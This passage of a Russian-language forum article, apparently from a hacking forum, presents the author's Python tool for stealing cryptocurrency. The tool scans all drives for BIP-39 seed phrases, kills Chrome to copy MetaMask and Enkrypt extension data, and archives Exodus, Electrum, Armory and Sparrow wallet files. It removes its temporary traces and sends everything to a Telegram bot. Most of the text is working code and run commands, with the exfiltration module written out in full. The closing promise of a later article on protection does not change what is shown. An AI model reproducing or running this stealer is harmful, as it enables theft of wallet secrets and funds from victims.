Модули построен вокруг четырёх функций, каждая из которых заточена под конкретный кошелёк: check_and_archive_exodus, check_and_archive_electrum, check_and_archive_armory и check_and_archive_sparrow. Все они следуют одной логике: находят папку кошелька в C:/Users/<имя_пользователя>/AppData/Roaming, проверяют, есть ли там нужные файлы, и запаковывают их в ZIP-архив, который сохраняется рядом со скриптом.
Каждая функция немного отличается, учитывая особенности кошельков. Для Exodus код проверяет папку exodus.wallet и смотрит, есть ли файл passphrase.json. Если он есть, значит, кошелёк не запаролен, и архив называется no_encrypt_exodus.zip, иначе — encrypt_exodus.zip. Для Electrum я предусмотрел два пути: стандартную папку wallets и testnet/wallets, ведь кошелёк может хранить данные в обеих. Код обходит их, добавляя все файлы в electrum_wallets.zip, и проверяет, является ли путь папкой или отдельным файлом, чтобы ничего не упустить. Armory обрабатывается чуть иначе: скрипт ищет в папке Armory только файлы с расширениями *.wallet и *.lmdb, чтобы не тащить лишнего, и пакует их в armory_wallets.zip. Sparrow — самый простой: все файлы из папки wallets без разбора идут в sparrow_wallets.zip, сохраняя структуру папок.
Модуль telegram_bot.py
Теперь разберу telegram_bot.py — компактный, но важный модуль, который я написал, чтобы отправлять найденные seed-фразы и файлы кошельков прямо в Telegram-чат.
Сам код:
Python:
import asyncio
import logging
from pathlib import Path
from os import environ
from dotenv import load_dotenv
from telegram import Bot
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
load_dotenv()
BOT_TOKEN = environ.get("BOT_TOKEN", "токен бота")
CHAT_ID = environ.get("CHAT_ID", "айди чата юзера которому бот будет отпралять фразы")
async def send_to_telegram(seed_file: Path, wallet_files: list[Path]):
bot = Bot(token=BOT_TOKEN)
files = [seed_file] + wallet_files
for file_path in files:
try:
with open(file_path, 'rb') as f:
caption = "Found seed phrases" if file_path.name.startswith("searcher_seed") else "Found wallet plugins"
await bot.send_document(chat_id=CHAT_ID, document=f, caption=caption)
logging.info(f"Sent: {file_path}")
except Exception as e:
logging.error(f"Failed to send {file_path}: {e}")
await asyncio.sleep(2)
Модуль main.py
Настало время разобрать центральный модуль main, который управляет всем процессом поиска seed-фраз. Он запускает сканирование, распределяет задачи и отправляет полученые данные в Telegram.
Скрипт начинается с импорта необходимых модулей и настройки логов для отслеживания процесса. Логирование настраивается через logging.basicConfig с уровнем INFO, чтобы фиксировать время, уровень и сообщения. Две очереди — results_queue и wallet_results — создаются для хранения результатов поиска seed-фраз и данных кошельков. Также определён набор игнорируемых путей, таких как \windows и \system volume information, чтобы не тратить время на системные директории.
Аргументы командной строки обрабатываются так:
Python:
parser = argparse.ArgumentParser(description="Search for seed phrases, wallet plugins, and wallet files, send to Telegram")
parser.add_argument('--threads', type=int, default=8, help='Number of threads for search')
parser.add_argument('--mode', choices=['all', 'search_seed', 'search_plugen_wallets', 'search_wallet_file'], default='search_seed',
help='Search mode: "all", "search_seed", "search_plugen_wallets", or "search_wallet_file"')
args = parser.parse_args()
Нужны только плагины? Тогда:
Код:
python main.py --mode search_plugen_wallets.
Диски для поиска определяются функцией get_drives:
Python:
def get_drives():
drives = [Path(drive.mountpoint) for drive in psutil.disk_partitions() if drive.fstype]
logging.info(f"Detected drives: {drives}")
return drives
Затем функция enqueue_directories наполняет очередь папками для сканирования:
Python:
def enqueue_directories(drive: Path, dir_queue: Queue):
users_dir = drive / "Users"
if users_dir.is_dir() and not should_ignore_path(users_dir):
for user_dir in users_dir.iterdir():
if user_dir.is_dir() and not should_ignore_path(user_dir):
dir_queue.put(user_dir)
for item in drive.iterdir():
if item.is_dir() and item != users_dir and not should_ignore_path(item):
dir_queue.put(item)
Для браузерных кошельков вызывается get_chrome_profiles:
Python:
def get_chrome_profiles():
from getpass import getuser
chrome_path = Path(f"C:/Users/{getuser()}/AppData/Local/Google/Chrome/User Data")
return discover_profiles(chrome_path)
Основная логика запускается в асинхронной функции main:
Python:
async def main():
logging.info("Starting search...")
dir_queue = Queue()
for drive in get_drives():
enqueue_directories(drive, dir_queue)
profiles = get_chrome_profiles()
logging.info(f"Detected Chrome profiles: {profiles}")
Например, для режима all работает search_all:
Python:
async def search_all(dir_queue: Queue, threads: int, profiles: list[str]):
kill_chrome_processes()
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
executor.map(lambda q: scan_for_seeds(q, results_queue), [dir_queue] * threads)
if len(profiles) == 1:
process_profile_wallet(profiles[0], wallet_results)
else:
executor.map(lambda p: process_profile_wallet(p, wallet_results), profiles)
await search_wallet_file(threads)
Для режима seed-фраз:
Python:
async def search_seed(dir_queue: Queue, threads: int):
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
executor.map(lambda q: scan_for_seeds(q, results_queue), [dir_queue] * threads)
Для плагинов кошельков:
Python:
async def search_plugen_wallets(threads: int, profiles: list[str]):
kill_chrome_processes()
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
if len(profiles) == 1:
process_profile_wallet(profiles[0], wallet_results)
else:
executor.map(lambda p: process_profile_wallet(p, wallet_results), profiles)
Для файлов кошельков:
Python:
async def search_wallet_file(threads: int):
wallet_tasks = [
check_and_archive_exodus,
check_and_archive_electrum,
check_and_archive_armory,
check_and_archive_sparrow
]
max_wallet_threads = min(threads, len(wallet_tasks))
with concurrent.futures.ThreadPoolExecutor(max_workers=max_wallet_threads) as executor:
futures = [executor.submit(task) for task in wallet_tasks]
concurrent.futures.wait(futures)
Функция save_results сохраняет результаты
Python:
def save_results(seed_file: Path, wallet_file: Path):
with open(seed_file, 'w', encoding='utf-8') as file:
while not results_queue.empty():
file_path, seed_phrase = results_queue.get()
file.write(f"File: {file_path}\nSeed phrase: {seed_phrase}\n\n")
logging.info(f"Added to {seed_file}: File: {file_path} | Seed phrase: {seed_phrase}")
chrome_wallet_paths = [Path(wallet_results.get()) for _ in range(wallet_results.qsize())]
for path in chrome_wallet_paths:
logging.info(f"Chrome wallet archive found: {path}")
return seed_file, chrome_wallet_paths + collect_wallet_file_archives()
В конце main: вызывает save_results для создания файлов searcher_seed.txt и списка архивов, а затем send_to_telegram асинхронно отправляет всё в Telegram, завершая процесс.
Пример совместной работы модулей инструмента
Мы с вами разобрались, как работают модули моего инструмента, и теперь я покажу, как они действуют вместе, чтобы ты понял, что происходит на каждом шаге.
Допустим, ты вводишь команду:
Код:
python main.py --mode all --threads 2
После её ввода процесс запускается. Всё начинается в модуле main. Сначала он смотрит на твою команду и понимает: ты хочешь найти всё — seed-фразы, данные десктопных кошельков и плагины — и использовать для этого два потока. Потом main начинает подготовку: он ищет все доступные диски, например, C:\ и D:\, и для каждого собирает список папок, которые нужно проверить. Он заглядывает в папку %Users%, добавляет все пользовательские директории, вроде папок разных пользователей, и включает другие папки верхнего уровня, но пропускает системные, такие как %Windows%, чтобы не тратить время зря.
Дальше начинается поиск seed-фраз. Main передаёт список папок в модуль seed_searcher, и тут два потока берутся за дело одновременно. Они открывают папки, проверяют файлы с расширениями, такими как .txt, .docx или .pdf, и читают их содержимое строка за строкой. Каждая строка сравнивается с шаблоном, который ищет наборы из 12–24 слов. Если что-то похоже на seed-фразу, модуль проверяет, все ли слова из списка BIP-39, чтобы убедиться, что это настоящая фраза. Подходящие находки, вместе с путями к файлам, где они лежат, отправляются в специальную очередь. Один поток, например, роется в папке Documents, а другой — в Downloads, и, если попадаются новые папки, они тоже добавляются в очередь для проверки.
Когда поиск фраз заканчивается, main переключается на десктопные кошельки. Он зовёт модуль get_wallets_file, где каждая функция провряет один кошелек. Одна функция проверяет папку Exodus и смотрит, есть ли там файл passphrase.json. Если он есть, данные пакуются в архив no_encrypt_exodus.zip, если нет — в encrypt_exodus.zip. Другая функция обходит папки Electrum, и собирает все файлы в electrum_wallets.zip. Следующая ищет файлы Armor и складывает их в armory_wallets.zip. Последняя функция забирает всё из папки Sparrow и делает архив sparrow_wallets.zip. Все эти архивы сохраняются рядом со скриптом, чтобы потом их можно было отправить.
Параллельно main выясняет, какие профили Chrome есть на компьютере, находя, например, Default и Profile 1, чтобы проверить их на плагины. Когда доходит очередь до браузерных кошельков, main сначала останавливает все процессы Chrome, чтобы файлы не были заняты.
Затем модуль get_plugin_wallet берёт эти профили и начинает поиск. Он смотрит папки расширений, ищет MetaMask и Enkrypt по их уникальным ID, а если их нет, проверяет файлы manifest.json, выискивая ключевые слова. Найденные данные, например, из папок IndexedDB для Enkrypt или Local Extension Settings для MetaMask, копируются во временную папку. Потом всё это упаковывается в ZIP-архивы, которые называются с указанием времени и профиля, вроде wallet_plugins_20250609_1625_Default.zip. Эти архивы кладутся в очередь, а временные папки удаляются, чтобы не оставлять следов.
Когда всё готово, main собирает результаты. Он берёт очередь с seed-фразами и записывает их в файл searcher_seed.txt, добавляя путь к каждому файлу и саму фразу, чтобы ты знал, где что найдено. Потом он собирает все архивы: сначала берёт пути к архивам плагинов из очереди, затем добавляет архивы десктопных кошельков, которые находит по названиям, вроде *_exodus.zip. Теперь всё подготовлено для отправки. Модуль telegram_bot включается в работу: он берёт файл с фразами и список архивов, открывает каждый и отправляет в Telegram-чат, который указан в настройках. Файл searcher_seed.txt уходит с подписью "Found seed phrases", а архивы — с подписью "Found wallet plugins".
Теперь расскажу, как запускать скрипт
Для начала нужно установить необходимые библиотеки:
Код:
pip install pywin32 python-dotenv python-telegram-bot psutil python-docx PyPDF2
Чтобы посмотреть список аргументов, используйте команду:
Код:
python main.py -h
Вывод:
Она выведет описание: доступные режимы (all, search_seed, search_plugen_wallets, search_wallet_file) и параметр --threads для задания числа потоков (по умолчанию 8).
Для теста можно запустить скрипт в режиме all с двумя потоками:
Код:
python main.py --mode all --threads 2
Вывод:
Это выполнит полный поиск: seed-фразы на дисках, плагины браузерных кошельков в профилях Chrome и файлы десктопных кошельков
После запуска проверяем файлы в боте:
Также можно запускать инструмент для отдельных задач.
Ищет только seed-фразы в папках дисков и шлет их в бот:
Код:
python main.py --mode search_seed
Обрабатывает только плагины браузерных кошельков в профилях Chrome:
Код:
python main.py --mode search_plugen_wallets
Отправляет в бот файлы десктопных кошельков:
Код:
python main.py --mode search_wallet_file
По умолчанию используется 8 потоков, но вы можете изменить это, добавив, например, --threads 4.
Вывод
На этом всё, в этой статье мы с вами разобрались, как работают seed-фразы и как их можно найти на компьютере.
Я начал с основ: что такое seed-фраза, зачем она нужна и как стандарты BIP-39, BIP-32 и BIP-44 превращают набор слов в ключи и адреса для твоих криптокошельков.
На практике мы прошлись по поиску seed-фраз в файлах, буфере обмена и даже в зашифрованных данных кошельков. Я показал, как писать скрипты на Python для сканирования текстовых файлов, PDF и документов Word, как ловить фразы в реальном времени через буфер и как искать следы браузерных кошельков, таких как MetaMask и Enkrypt, в профилях Chrome. Я рассказал про десктопные кошельки вроде Exodus, разобрав, где они прячут данные и как их можно перенести или попытаться вскрыть.
Для автоматизации я показал, как создать модульный инструмент: от поиска фраз по регуляркам и проверки их по списку BIP-39 до архивации данных кошельков и отправки всего в Telegram-бота.
Надеюсь, вам было полезно! Это только первая часть. Во второй статье мы разберём, как защитить свои seed-фразы, чтобы никто не добрался до ваших монет. Вы узнаете, как правильно хранить фразы, избегать утечек и какие ловушки подстерегают в мире крипты.
Вложения
Последнее редактирование:
